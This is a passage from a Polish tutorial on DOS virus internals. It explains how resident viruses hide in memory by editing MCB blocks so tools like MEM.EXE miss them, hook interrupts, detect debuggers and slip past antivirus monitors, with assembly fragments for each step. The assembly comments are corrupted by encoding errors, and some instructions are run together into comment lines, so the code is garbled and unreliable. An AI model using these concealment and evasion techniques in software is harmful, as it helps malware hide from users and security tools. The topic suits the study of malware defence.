następnie możliwość wczytania dalszej części programu na podsta
wie przechowywanej oryginalnej wartości pierwszej JAP oraz długości pliku. W celu 
zapewnienia poprawnego wczytania reszty pliku wirus musi dotrzeć do wewnętrznych 
procedur systemu operacyjnego, przeznaczonych do obsługi dysków. Najczęściej 
realizuje się to poprzez odpowiednią zamianę adresu procedury obsługującej dysk, 
zawartej w tzw. blokach DPB (ang. Drive Parameter Block), strukturach tworzonych 
przez system operacyjny podczas jego inicjacji dla wszystkich istniejących w systemie 
dysków logicznych. Struktura DPB zawiera wszystkie informacje potrzebne do obsługi 
dysku logicznego przez system (część danych znajduje się w bloku BPB dysku, 

background image

zawartego w BOOT-sektorze).
Pełny opis bloku DPB zawarto w poniższej tabeli. 
Format bloku DPB
Adres

Zawartość

00

Numer dysku A:=0, B:=1, C:=2

01

Numer jednostki w programie obsługi 

02-03

 Wielkość sektora w bajtach

05

log2 (liczba sektorów w JAP)

06

Liczba zarezerwowanych sektorów na początku dysku

08

 Ilość kopii tablicy FAT (najczęściej 2) 

09-0A

Maksymalna ilość plików w katalogu głównym 

0B-0C

Pierwszy sektor danych 

0F-10

Liczba sektorów na FAT 

11-12

Numer pierwszego sektora katalogu 

13-16

Daleki wskaźnik do programu obsługi dysku

17

Bajt identyfikacji nośnika

18

Znacznik dostępu do dysku 

19-1C

Daleki wskaźnik do następnego bloku DPB 

1D-1E

Numer pierwszej wolnej JAP na dysku 

1F-20

Liczba wolnych JAP na dysku

Adres pierwszego bloku DPB uzyskiwany jest najczęściej przy użyciu funkcji (52/21). Na 
podstawie danych w pierwszym DPB można przejść (poruszając się po liście) do 
kolejnych bloków DPB. Realizuje to poniższa sekwencja:
Przeszukiwanie łańcucha DPB
mov AH,52h              ; funkcja DOS - pobierz adres do listy list (LL)
INT 21h                 ; wywo│aj DOS po wywo│aniu ES:BX zawiera adres do LL, w          
                        ; kom¾rkach od ES:[BX] do ES:[BX+3] znajduje 

            

                        ; siÛ daleki wskaƒnik do pierwszego DPB
LES BX,ES:[BX]          ; ES:BX wskazuje na pierwszy DPB 
NastÛpnyDPB:            ; pocz╣tek pÛtli
LDS SI, ES:[BX+13h]     ; DS:SI wskazuje teraz na program obs│ugi LES 
BX,ES:[BX+19h]          ; ES:BX wskazuje teraz na nastÛpny bloku DPB, je┐eli jest        
                        ; to ostatni blok, to ES i BX zawieraj╣ OFFFFh, 
MOV AX,ES

     ; weƒ segment 

CMP AX,0FFFFh           ; czy ES=OFFFFh ? 
JNZ NastÛpnyDPB         ; je£li nie, to jest jeszcze kolejny DPB 
CMP BX,AX               ; czy BX=OFFFFh? 
JNZ NastÛpnyDPB         ; je£li nie, to jest jeszcze kolejny DPB

4.5. Wirusy kombinowane (ang: multipartition)
Tego typu wirusy są wirusami zawierającymi mechanizmy infekcji różnych obiektów.
W przypadku, gdy wirus zaraża pliki uruchamialne (EXE, COM), a także sektor tablicy 
partycji oraz ewentualnie BOOT-sektory i inne pliki, nazywa się go wirusem typu 
multipartition. Ze względu na szeroką gamę zarażanych przez siebie ofiar, wirusy tego 
typu bardzo szybko rozprzestrzeniają się w systemie komputerowym.
Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich 

background image

zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi 
wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby 
nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych 
przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie 
zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się 
prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura 
obsługi przejętego przerwania).

ROZDZIAŁ 5

5.1. Instalacja w tablicy wektorów przerwań
W komputerze IBM na użytek przerwań przeznaczono 256*4=1024 bajtów znajdujących 
się na początku pamięci operacyjnej od adresu 0000:0000 do adresu 0000:0400 (tak 
sprawa ma się oczywiście w trybie rzeczywistym i V86 procesorów 80x86). Mimo to 
większość programów wykorzystuje tylko przerwania poniżej numeru 80h, tak więc w 
obszarze 0000:0200-0000:0400 pojawia się 512-bajtowa luka, w której można umieścić 
kod wirusa. Najczęściej obszar ten jest wykorzystywany przez wirusy bardzo krótkie, 
potrzebujące do swych celów małego obszaru pamięci operacyjnej,

5.2. Instalacja w obszarze zmiennych DOS
W obszarze pamięci od adresu 0000:0600 do adresu 0000:0700 znajduje się obszar 
wykorzystywany przy starcie systemu. Po załadowaniu obszar ten zawiera nieistotne 
dane systemu (w zasadzie nie używane), dzięki czemu jest to kolejna luka w pamięci 
systemu, w której można umieścić krótkiego (maksymalnie 256-bajtowego) wirusa.

5.3. Instalacja w pamięci poniżej 640kB i UMB
Zarządzając pamięcią operacyjną system DOS dzieli ją na połączone w łańcuch bloki, z 
których każdy rozpoczyna się tzw. nagłówkiem MCB (ang. Memory Control Błock). 
Każdy nagłówek zajmuje 16 bajtów i jest ulokowany zawsze na granicy paragrafu (16 
bajtów), a zarządzany przezeń blok pamięci zaczyna się bezpośrednio po nim, także od 
granicy paragrafu.
Powyższy mechanizm stosowany jest zarówno dla pamięci niskiej (poniżej 640kB - 
LMB; ang. Low Memory Blocks), jak i dla pamięci wysokiej (powyżej 640kB - UMB; ang. 
Upper Memory Blocks). Format bloku MCB pokazano w poniższej tabeli.
Format MCB
Adres

Zawartość

00

Znacznik bloku; znak 'M' oznacza, iż jest to blok pośredni, zaś Z oznacza 
ostatni blok w łańcuchu

01-02

Adres (tylko segment; przesunięcie równe jest zeru) bloku PSP, będącego 
właścicielem MCB. Jeżeli w pole to wpiszemy wartość 0008, a więc segment 
niedostępny dla programów, segment zniknie z pamięci operacyjnej i będzie 
niewidoczny dla programów przeglądających pamięć (dokładniej: będzie 
widoczny, ale będzie traktowany jako integralna część systemu)

03-04

Rozmiar bloku w 16-bajtowych paragrafach 

05-07

Zarezerwowane dla systemu

background image

08-0F

8-bajtowe pole, wykorzystywane dopiero w wersjach 5.0 DOS i wyższych. 
Zawiera ono początek nazwy pliku właściciela bloku MCB. Jeżeli wpiszemy w 
to pole 'SC' lub 'SD', to blok ten zostanie uznany za blok systemowy ('SC' to 
skrót od System Code. a SD od System Data)

Najstarsza i najbardziej rozpowszechniona metoda instalacji w pamięci operacyjnej 
polega na modyfikacji łańcucha bloków MCB. Najprościej jest znaleźć ostatni z bloków 
MCB i zmniejszyć jego rozmiar o długość potrzebną wirusowi. Adres pierwszego bloku 
MCB można znaleźć za pomocą funkcji (52/21). Po jej wywołaniu w rejestrach ES:BX 
znajdzie się adres tzw. listy list (LL). W komórce pod adresem ES:[BX-2] znajduje się 
informacja o adresie pierwszego nagłówka MCB. Po zdobyciu tego adresu należy, 
poruszając się po łańcuchu, znaleźć ostami z MCB i dokonać w nim zmian. Całość 
realizuje się za pomocą następującej sekwencji:
; Poszukiwanie ostatniego bloku w │a±cuchu mcb
MOV AH,52H               ; funkcja DOS - weƒ adres do listy
                         ; list (ll) 
INT 21H                  ; wywo│aj funkcjÛ
MOV AX,ES:[BX-2]         ; AX=adres segmentowy pierwszego MCB
NAST╩PNY:
MOV DS,AX                ; ds wskazuje na sprawdzany blok MCB
CMP BYTE PTR DS:[0], Z   ; czy ostatni blok ? 
JE OSTATNI               ; skocz, je£li tak
INC AX                   ; dodaj rozmiar MCB (16 bajt¾w=1 paragraf) 
ADD AX, DS:[3]           ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
JMP SHORT NASTEPNY       ; sprawdƒ nastÛpny blok
OSTATNI:                 ; ds wskazuje na ostatni blok
SUB DS:[3], ROZMIAR      ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych)
SUB DS:[12h], ROZMIAR    ;  warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla 

                 

                         ;programu w PSP bie┐╣cego procesu

Do instalacji można wykorzystać także blok pamięci, który powstaje poprzez 
zmniejszenie bloku pamięci przydzielonego programowi. Dokonuje tego następująca 
sekwencja:
; Zmniejszenie bloku przydzielonego aktualnemu procesowi
MOV AH,62h                 ; funkcja DOS - weƒ adres PSP aktualnego procesu 
INT 21h                    ; uruchom funkcjÛ DOS, BX zawiera adres PSP 
DEC BX                     ; BX-1 zawiera adres MCB, bÛd╣cego w│a£cicielem bloku MOV 
DS,BX                  ; DS wskazuje na MCB 
SUB DS:[3], ROZMIAR        ; odejmij rozmiar wirusa (w paragrafach 16 bajtowych) SUB 
DS:[12h], ROZMIAR      ; warto tak┐e zmieniµ adres pamiÛci niedostÛpnej dla 
                           ; programu w PSP bie┐╣cego procesu

Inny sposób polega na przydzieleniu sobie przez wirusa bloku pamięci przy użyciu 
(48/21) i modyfikacji MCB, będącego właścicielem przydzielonego bloku. Modyfikacja 
polega na wpisaniu w pole 01h-02h bloku MCB wartości 0008h, która oznacza, iż blok 
ten należy do systemu operacyjnego DOS. Zamiast wartości 0008h można wpisać 

background image

dowolną wartość, która wskazuje na segment zawierający na pewno dane systemowe, 
na przykład liczbę z zakresu 0A000h-0B000h, wskazującą na segmenty zawierające 
pamięć ekranu. Dodatkowo w pole 08h-0Fh można wpisać łańcuch 'SC lub 'SD' 
[odpowiadające skrótom: kod systemu (ang. System Code) i dane systemu (ang. 
System Data)]. Tak zmodyfikowany blok MCB nie będzie widziany przez programy 
przeglądające pamięć (np. MEM.EXE). Powyższą metodę ilustruje następująca 
sekwencja:
; Tworzenie sztucznego bloku systemowego
MOV BX,ROZMIAR           ; BX = rozmiar ┐╣danej pamiÛci 
MOV AH,48h               ; funkcja DOS - przydziel pamiÛµ 
INT 21h                  ; wywo│aj funkcjÛ DOS
JC BLAD                  ; Je£li CF=1 to b│╣d, AX=segment pamiÛci 
DEC AX                   ; AX-1=segment z nag│¾wkiem MCB (w│a£cicielem 
                         ; bloku amiÛci) 
MOV DS,AX                ;  DS = segment MCB 
MOV DS:[l],0008h         ;  zmie± MCB na systemowy

Kolejny sposób instalacji w pamięci polega na wykorzystaniu faktu, iż DOS oferuje 
programom możliwość zmieniania rozmiaru bloku pamięci przy użyciu (4A/21). Dzięki 
temu można powiększyć pewien blok wykorzystywany przez system lub programy 
rezydentne i w tak wygospodarowane miejsce skopiować wirusa. Nie trzeba w tym 
wypadku dokonywać żadnych ręcznych manipulacji na blokach MCB, gdyż wszystkie 
operacje wykona za nas system operacyjny. Należy pamiętać, iż aby DOS mógł 
powiększyć blok pamięci, blok ten musi sąsiadować z jakimś nie wykorzystanym przez 
żaden program fragmentem pamięci. Znaleziony blok najlepiej zabezpieczyć przed 
ewentualnym zwolnieniem, np. przez wpisanie w pole 03-04h wartości 0008h. 
Sekwencja realizująca to zadanie wygląda następująco:
; PowiÛkszenie jednego z blok¾w ju┐ u┐ytych 
MOV AH,52H               ; funkcja DOS - weƒ adres do listy list (LL) 
INT 21H                  ; wywo│aj funkcjÛ DOS
MOV DX,ES:[BX-2]         ; AX==adres segmentowy pierwszego MCB
NAST╩PNY:
mov es,dx                ; DS wskazuje na sprawdzany blok mcb
mov cl, byte PTR ES:[O]  ; zachowaj znacznik nag│¾wka MCB 
MOV BX,ES:[3]            ; pobierz rozmiar bloku
INC DX                   ; DOS wymaga adresu o l wiÛkszego od MCB 
MOV ES,DX                ; ES wskazuje na blok pamiÛci
ADD DX,BX                ; dodaj d│ugo£µ bloku zarz╣dzanego przez MCB
ADD bx, rozmiar          ; dodaj rozmiar wirusa (w paragrafach 16-bajtowych) 
MOV AH,4Ah               ; spr¾buj zmieniµ rozmiar bloku 
INT 21h                  ; wywo│aj funkcjÛ DOS 
JNC JESTBLOK             ; je£li CFl, uda│o siÛ zmieniµ blok
CMP CL, Z                ; czy ostatni blok ? 
JNE NASTEPNY             ; sprawdƒ nastÛpny blok
OSTATNI:                 ; nie uda│o siÛ powiÛkszyµ ┐adnego bloku
......                   ; czÛ£µ kodu wirusa, wykonuj╣ca

                   ;  siÛ, gdy nie znaleziono bloku

background image

JESTBLOK:
......                   ; uda│o siÛ powiÛkszyµ blok, adres do niego jest w ES

Sposób obsługiwania pamięci przez DOS jest określany przez tzw. strategię przydziału 
pamięci, która standardowo nie używa bloków UMB, stąd powyższe sposoby zadziałają 
bez zarzutu dla pamięci poniżej 640kB. Aby zainstalować wirusa w pamięci UMB, trzeba 
wymusić jej używanie na równi z pamięcią niską. W tym celu należy przyłączyć łańcuch 
bloków MCB pamięci UMB do łańcucha bloków MCB, znajdujących się w pamięci 
niskiej, przy użyciu funkcji (5803/21). Całość takiej operacji realizuje się przy użyciu 
następującej sekwencji w asemblerze:
; Do│╣czanie pamiÛci UMB do │a±cucha UMB i zmiana strategii przydzia│u pamiÛci
MOV AX,5800h             ; funkcja - pobierz aktualn╣ strategiÛ 
INT 21h                  ; wywo│aj funkcjÛ DOS
PUSH AX                  ; zachowaj odczytane strategiÛ
MOV AX,5802h             ; weƒ informacjÛ o do│╣czeniu pamiÛci UMB 
INT 21h                  ; wywo│aj funkcjÛ DOS
PUSH AX                  ; zachowaj informacjÛ na stosie
MOV AX,5803h             ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha MCB 
MOV BX,1                 ; podfunkcja - do│╣cz bloki 
INT 21h                  ; wywo│aj funkcjÛ DOS
MOV AX,5801h             ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci 
MOV BX,82h               ; nowa strategia (UMB+ostatni spe│niaj╣cy warunek) 
INT 21h                  ; wywo│aj funkcjÛ DOS
.......                  ; operacje na blokach MCB (na ca│ym ich │a±cuchu)
POP BX                   ; weƒ pierwotn╣ informacjÛ o do│╣czeniu pamiÛci UMB
XOR BH,BH                ; podfunkcja - do│╣cz bloki lub od│╣cz zale┐nie od BL MOV AX, 
5803h            ; funkcja DOS - do│╣cz/od│╣cz bloki UMB do │a±cucha mcb INT 21H 
; wywo│aj funkcjÛ DOS
POP BX                   ; przywr¾µ pierwotn╣ strategiÛ
MOV AX,5801h             ; funkcja DOS - ustaw now╣ strategiÛ pamiÛci wg BX 
INT 21h                  ; wywo│aj funkcjÛ DOS

Dołączenie pamięci UMB do łańcucha MCB ma duże znaczenie, gdy poszukujemy 
ostatniego bloku w tym łańcuchu. Jeżeli system wykorzystuje pamięć UMB, a ta nie jest 
chwilowo podłączona do łańcucha MCB, zmiana ostatniego (w tym wypadku widzianego 
jako ostatni) bloku pamięci poniżej 640kB spowoduje odcięcie pamięci UMB, co w 
efekcie zmniejszy dostępną dla programów użytkowych pamięć i niechybnie pomoże 
wykryć intruza.
Innym sposobem na przydzielenie pamięci UMB wirusowi jest skorzystanie z 
mechanizmów zawartych w specyfikacji XMS, która umożliwia obsługę tej pamięci za 
pośrednictwem funkcji l0h i 11h. Są one dostępne przez bezpośrednie wywołanie 
procedury, której adres uzyskuje się po wywołaniu funkcji (4310/2F). Przydzielenie bloku 
UMB za pomocą funkcji XMS ilustruje poniższa sekwencja:
; Wykorzystanie mechanizm¾w XMS do przydzia│u bloku UMB
MOV AX,4300H              ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS 
INT 2Fh                   ; wywo│aj przerwanie multipleksowane
CMP AL,80h                ; czy zainstalowany mened┐er XMS? 

background image

JNE NieMaXMS              ; skocz, je£li nie jest zainstalowany
MOV AX,4310H              ; funkcja - weƒ adres procedury 
INT 2Fh                   ; wywo│aj przerwanie multipleksowane
MOV [PROCSEG],ES          ; zachowaj adres procedury mened┐era XMS 
MOV [PROCOFS],BX
MOV AH,10h                ; funkcja XMS - przydziel pamiÛµ UMB 
MOV DX,rozmiar            ; podaj ilo£µ ┐╣danej pamiÛci w paragrafach 
CALL [PROCSEG]            ; wywo│aj procedurÛ mened┐era XMS
CMP AX,l                  ; je£li nie ma b│Ûdu, to AX-1 
JNE BLAD                  ; skocz, Je£li AX<>1 
                          ; BX = adres przydzielonego bloku

5.4. Instalacja w pamięci HMA
Wykorzystując wewnętrzne funkcje systemu DOS można przydzielić sobie blok w 
pamięci HMA (ang. High Memory Area), znajdującej się powyżej l Mb, a możliwej do 
zaadresowania w trybie rzeczywistym (np. ES:SI gdzie ES=SI=FFFF wskazuje na adres 
10FFEF=lMb+64K-16 bajtów). Pamięć ta jest najczęściej wykorzystywana przez DOS, 
aby zmniejszyć ilość pamięci konwencjonalnej, zajętej przez system (to, czy system 
wykorzystuje HMA, zależy od obecności polecenia DOS=HIGH w pliku CONFIG.SYS).
Do przydzielania pamięci HMA wykorzystuje się funkcje (4A01/4A02/2F) w postaci 
następującej sekwencji:
                          ; Przydzia│ fragmentu pamiÛci HMA 
MOV AX,4A01h              ; funkcja - sprawdƒ ilo£µ wolnej HMA
INT 2Fh                   ; wywo│aj przerwanie multipleksowane BX = ilo£µ wolnej          
                          ; pamiÛci HMA w bajtach, 
                          ; ES:DI wskazuje na wolny obszar HMA
CMP BX, ROZMIAR           ; czy jest odpowiednia ilo£µ pamiÛci 
jb NieMaHMA               ; je£li mniej, to nie przydzielaj 
MOV AX, 4A02h             ; funkcja - przydziel pamiÛµ HMA 
MOV BX, ROZMIAR           ; rozmiar ┐╣danej pamiÛci 
INT 2Fh                   ; wywo│aj przerwanie multipleksowane

              ; BX = ilo£µ przydzielonej pamiÛci HMA w paragrafach
              ; ES:DI wskazuje na przydzielony obszar HMA

NieMaHMA:

Oprócz powyższego sposobu istnieje jeszcze inna możliwość przydziału pamięci HMA 
(ale tylko jako jednego bloku o długości 64kB-16 bajtów, o ile nie jest już zajęty). Należy 
skorzystać z mechanizmu oferowanego przez program obsługujący specyfikację XMS 
(najczęściej HIMEM.SYS), tak jak pokazano to w poniższym przykładzie:
                          ; Przydziel ca│e pamiÛµ HMA programowi
MOV AX,4300h              ; funkcja - sprawdƒ, czy zainstalowany mened┐er XMS 
INT 2Fh                   ; wywo│aj przerwanie multipleksowane
CMP AL,80h                ; czy zainstalowany mened┐er XMS ? 
JNE NieMaXMS              ; skocz, je£li nie jest zainstalowany
MOV AX,4310h              ; funkcja - weƒ adres procedury  
INT 2Fh                   ;  wywo│aj przerwanie multipleksowane

background image

MOV [PROCSEG],ES          ; zachowaj adres procedury mened┐era XMS 
MOV [PROCOFS],BX
MOV AH,l                  ; funkcja XMS - przydziel pamiÛµ HMA 
MOV DX,ROZMIAR            ; podaj ilo£µ ┐╣danej pamiÛci w bajtach 
CALL [PROCSEG]            ; wywo│aj procedurÛ mened┐era XMS
CMP AX, l                 ; je£li nie ma b│Ûdu, to AX=1 
JNE BLAD                  ; skocz, je£li AX1

5.5. Nietypowe metody instalacji 

5.5.1. Pamięć ekranu
Korzystając z tego, iż tryby pracy ekranu nie wykorzystują najczęściej całej 
przeznaczonej dla danego trybu przestrzeni adresowej, można użyć części pamięci 
ekranu, aby skopiować tam wirusa. Wykorzystuje się w tym celu najczęściej adresy w 
segmencie 0B000 lub 0B800 (zależnie od karty graficznej), pod którymi ulokowane są 
dane dla trybów tekstowych ekranu.

5.5.2. Bufory dyskowe DOS
Inną, dość nietypową metodę na instalację w systemie znalazł i wykorzystał twórca 
wirusa USSR.516. Wirus ten znajduje i alokuje sobie miejsce w jednym z buforów 
stosowanych przez DOS przy operacjach dyskowych. Dzięki temu, iż rezyduje w 
obszarach roboczych systemu, jest uznawany za jego część oraz, co istotne, nie 
zmniejsza długości pamięci dostępnej dla programów użytkownika.
Przejmowanie przerwań jest najczęściej stosowaną przez wirusy rezy-dentne metodą 
kontrolowania działania systemu. Jak wspomniano w poprzednim rozdziale, procesory 
80x86 mogą obsługiwać do 256 przerwań, którymi zajmują się osobne procedury 
obsługi. Adresy tych procedur zawarte są w tablicy przerwań, która w trybie 
rzeczywistym zajmuje 1024 bajty pamięci i jest ulokowana w obszarze od adresu 
0000:0000 do 0000:0400. Tablica ta zawiera 256 rekordów (każdy o długości 4 bajtów) 
w postaci ofset:segment. Adres procedury obsługi przerwania o numerze 0h zajmuje 
więc komórki 0000:0000 -0000:0003, do przerwania 1h komórki 0004:0007 itd. aż do 
przerwania 0FFh, zajmującego komórki 0000:03FC - 0000:03FF.

ROZDZIAŁ 6

6.1. Najczęściej przejmowane i wykorzystywane przerwania
Wirusy najczęściej wykorzystują i/lub przejmują następujące przerwania:
> 01h - Przerwanie trybu krokowego procesora, wywoływane wewnętrznie, gdy w 
rejestrze znaczników FLAGS jest ustawiony bit TF. Przerwanie Olh jest używane przez 
wirusy do poszukiwania w łańcuchu procedur obsługi przerwania jego ostatniego 
elementu, będącego przeważnie częścią DOS-a lub BIOS-a. W czasie wykonywania 
wyżej wymienionej operacji możliwe jest także przejęcie obsługi przerwania poprzez 
włączenie się w istniejący łańcuch obsługi przerwania, dzięki czemu nie trzeba 
modyfikować tablicy przerwań. Kontrola procedury obsługi tego przerwania pozwala 
wykryć uruchomiony debugger.

background image

> 03h - Pułapka programowa (ang. breakpoint}, ze względu na 1-bajtową instrukcję (kod 
0CCh) stosowana przez debuggery;
powyższa właściwość powoduje, iż instrukcję tę stosują bardzo krótkie wirusy do 
wywoływania pierwotnej procedury obsługi przejętego przez nie przerwania. Podobnie 
jak w przypadku przerwania numer 0lh, kontrolując INT 03h można wykryć włączony 
debugger.
> 08h - Przerwanie sprzętowe IRQ 0 - standardowo zgłaszane 18 razy na sekundę 
przez układ zegara 8253/8254 (częstotliwość generowania tego przerwania można 
zmienić programowo). Wewnątrz procedury jego obsługi znajduje się rozkaz wywołania 
przerwania 1Ch. Najczęściej używane jest ono do realizacji efektów specjalnych, 
rzadziej do autoweryfikacji wirusa.
> 09h - Przerwanie sprzętowe IRQ l, wywoływane po naciśnięciu lub puszczeniu 
klawisza na klawiaturze. Odczytany z portu 60h klawisz jest dekodowany przez funkcję 
(4F/15), a następnie umieszczany w buforze klawiatury, skąd dostępny jest później dla 
funkcji przerwania 16h. Podobnie Jak IRQ O, przerwanie 09h używane jest zwykle do 
efektów specjalnych i czasem do autoweryfikacji (na przykład kod wirusa jest 
sprawdzany przy każdym naciśnięciu lub puszczeniu klawisza).
> 10h - Przerwanie programowe BIOS obsługujące funkcje ekranu;
używane do efektów specjalnych lub w celu informowania innych kopii wirusa o 
obecności w pamięci.
> 12h - Przerwanie programowe BIOS zwracające po wywołaniu wielkość pamięci 
operacyjnej podaną w kilobajtach. Zwracana wartość jest odczytywana ze zmiennej 
systemowej BIOS, znajdującej się pod adresem 0000:0413. Przerwanie to wykorzystują 
głównie wirusy tablicy partycji i BOOT-sektorów, gdy zmniejszają ilość pamięci dostępnej 
dla systemu DOS. Aby tego dokonać, nie muszą jednak przejmować przerwania, a tylko 
zmodyfikować wyżej wymienioną zmienną BIOS. Czasem przerwanie 12h przejmowane 
jest w celu informowania innych kopii wirusa o obecności w systemie.
> 13h - Przerwanie programowe BIOS odpowiedzialne za obsługę dysków na poziomie 
sektorów. Obsługując dyskietki wywołuje przerwanie 40h. Jest ono używane najczęściej 
podczas infekcji
przez wirusy atakujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Jego 
przejęcie umożliwia zastosowanie techniki stealth dla sektorów, a także informowanie 
innych kopii wirusa o obecności w systemie.
> 14h - Przerwanie programowe BIOS odpowiedzialne za obsługę łączy szeregowych. 
Przechwytywane (choć rzadko) dla efektów specjalnych, polegających na 
przekłamywaniu odczytów7 i zapisów złącza.
> 15h - Przerwanie programowe BIOS odpowiedzialne za dodatkowe funkcje 
systemowe. Może być przejmowane dla efektów specjalnych, polegających na zmianie 
obsługi funkcji 4Fh. Powyższa funkcja jest wywoływana przez przerwanie sprzętowe 
IRQ l (09h) i odpowiada za dekodowanie klawiszy do postaci widzianej później przez 
przerwanie programowe int 16h. Godna uwagi jest także funkcja (9000/15), wywoływana 
przez procedurę obsługi przerwania sprzętowego IRQ 14 (76h), której przejęcie 
umożliwia zastosowanie techniki hardware-level stealth.
> 16h - Przerwanie programowe BIOS odpowiedzialne za obsługę klawiatury. 
Przejmowane najczęściej dla efektów specjalnych lub w celu informowania innych kopii 
wirusa o obecności w pamięci.
> 17h - Przerwanie programowe BIOS obsługujące drukarki. Przejmowane (choć 

background image

rzadko) dla efektów specjalnych, polegających np. na fałszowaniu drukowanych 
znaków.
> 1Ch - Przerwanie wywoływane przez przerwanie sprzętowe IRQ 0 (08h), najczęściej 
przejmowane do celów efektów specjalnych (choć w tym wypadku lepiej przejąć obsługę 
przerwania IRQ 0).
> 21h - Przerwanie programowe DOS odpowiedzialne m.in. za obsługę dysków 
logicznych na poziomie plików, a także pamięci operacyjnej, czyli newralgicznych części 
systemu, stąd też jest ono najczęściej przejmowanym przez wirusy przerwaniem. 
Umożliwia infekcję plików przy ich otwieraniu, zamykaniu, czytaniu, zmianie nazwy, 
uruchamianiu itd. oraz pozwala na ukrywanie się w systemie. Ze względu na to, iż jest 
potrzebne wirusom do mnożenia się, nie wykorzystywane przez system numery funkcji 
często służą innym kopiom wirusa do sprawdzania jego
obecności w systemie (nie musi on już przejmować innego przerwania, gdyż wyżej 
wymieniona operacja wykonywana jest niejako przy okazji).
> 24h - Przerwanie programowe DOS obsługujące błędy krytyczne systemu. W 
wypadku wystąpienia błędu wywołuje ono standardowo tzw. dialog ARIF (skrót od ang. 
Abort Retry Ignore Fail), pozwalający użytkownikowi zadecydować, jaką podjąć 
operację. Przerwanie to wirusy przejmują na czas infekcji, aby w razie wystąpienia 
jakiegoś błędu wirus mógł sam zadecydować, jaką akcję chce podjąć. Nowa obsługa 
przerwania najczęściej zawiera dwie instrukcje nakazujące systemowi DOS 
sygnalizować błąd programowi wywołującemu (czyli wirusowi). Wyglądają one 
następująco:
Typowa procedura obs│ugi przerwania int 24h u┐ywana podczas infekcji
MOV   AL,3                ; sygnalizuj b│╣d programowi (czyli wirusowi)
IRET                      ; powr¾t 2 obs│ugi przerwania
> 25h - Przerwanie programowe DOS odpowiedzialne za odczyt sektorów z dysków 
logicznych, czasem używane do ukrywania się w systemie, ale głównie do łatwego 
odczytywania BOOT-se-ktorów.
> 26h - Przerwanie programowe DOS odpowiedzialne za zapis sektorów na dyskach 
logicznych. Najczęściej używane jest do infekcji BOOT-sektorów. Zwykle wykorzystuj ą 
je konie trojańskie do destrukcji.
> 27h - Przerwanie programowe DOS. Umożliwia zakończenie programu z 
pozostawieniem kodu w pamięci. Używają go niektóre, zwłaszcza stare, programy TSR, 
nowsze korzystają z funkcji (31/21). Wykorzystując działanie tego przerwania lub funkcji 
(31/21) można napisać prostego wirusa rezydentnego.
> 28h - Przerwanie programowe DOS pozwalające na wykonywanie pewnych operacji w 
tle, co jest wykorzystywane m. in. przez program PRINT. Może być użyteczne do 
infekowania plików, gdy DOS nie jest zajęty żadnym zadaniem, tak jak robi to np. wirus 
DOS-IDLE.
> 2Fh - Przerwanie multipleksowane systemu. Ze względu na różnorodność 
wykonywanych funkcji umożliwia m. in. znajdowanie oryginalnej procedury przerwania 
13h (13h/2F), informowanie innych kopii wirusa o obecności w systemie oraz infekcję 
plików przy ich zamykaniu. To ostatnie możliwe jest dzięki zastosowaniu funkcji 
(1216/1220/2F), operujących na systemowych tablicach SFT (ang. System File Table), w 
których zawarte są wszystkie parametry wskazywanego przez uchwyt pliku.
> 30h/31h - W tablicy przerwań, w miejscu, gdzie powinny być adresy obsługi tych 
przerwań znajduje się rozkaz dalekiego skoku do DOS w postaci 0EA 00 00 SS SS, 

background image

gdzie OO OO to ofset, a SS SS to segment (po starcie systemu jest to segment kodu 
systemu DOS, ale może być podmieniony przez program antywirusowy). Adres 
wskazywany przez rozkaz skoku może być wykorzystywany do wywoływania funkcji 
DOS według przestarzałej konwencji CP/M, a także do zlokalizowania w segmencie 
kodu DOS adresu obsługi przerwania 21h, co umożliwia bezpieczne, omijające 
większość monitorów antywirusowych, wywoływanie funkcji DOS (metodę tę stosuje 
m.in. wirus DIR-2).
> 40h - Przerwanie programowe BIOS, które obsługuje dyski elastyczne. W większości 
BIOS-ów adres tego przerwania jest oryginalnym adresem przerwania 13h podczas 
inicjacji systemu. Podczas startu systemu BIOS przekierowywuje przerwanie 13h na 
40h, o ile wykryje dysk twardy. Rzadko przejmowane; umożliwia dostęp do dyskietek z 
pominięciem przerwania 13h.
> 76h - Przerwanie sprzętowe IRQ 14, generowane przez sterownik dysku twardego 
przy wszelkich operacjach dyskowych. Obsługa przerwania polega na wykonaniu 
odczytu z portu 1F7h (rejestr stanu IDE) i wywołaniu funkcji (9000/15). Przejęcie jego 
lub funkcji (9000/15) umożliwia zastosowanie techniki hardware-level stealth do 
ukrywania się w systemie.
Jak widać, jest to znakomita większość wszystkich wykorzystywanych przez programy 
przerwań. Czasem, w celu zminimalizowania rozmiarów, wirus przejmuje dodatkowo 
jakieś nie używane przez system przerwanie (najczęściej powyżej numeru 60h), aby 
przy jego pomocy wywoływać pierwotny program obsługi jakiegoś przejętego przez 
siebie przerwania. Korzysta z tego, że maszynowy rozkaz wy-
wołania przerwania (INT ??) zawiera tylko 2 bajty (o kodach OCDh/??, gdzie ?? to 
numer przerwania), gdy tymczasem rozkaz wywołania pierwotnego programu obsługi za 
pomocą rozkazu wywołania procedury zajmowałby od 3 (wywołanie pośredniej, bliskiej 
procedury) do 6 bajtów (wywołanie dalekiej, bezpośredniej procedury). Przejęcie 
jakiegoś przerwania programowego może być także wykorzystywane do sprawdzania, 
czy wirus został już wcześniej zainstalowany w pamięci, co pozwala mu uniknąć 
powtórnej, niepotrzebnej instalacji. Sekwencja wykrywająca, czy wirus jest już 
zainstalowany, ma najczęściej postać:
MOV   AX.HASúO            ; najczÛ£ciej w AX podaje siÛ jak╣£ nie typow╣ funkcjÛ
INT   xx                  ; xx - numer przerwania (najczÛ£ciej 21h)
CMP   REJ,ODPOWIEDÅ       ; czy wirus ju┐ zainstalowany (rej - najczÛ£ciej AX) 
JE Ju┐Zainstalowany       ; skok, gdy zainstalowany wirus zwr¾ci│ odpowiedƒ
...........               ; zainstaluj siÛ
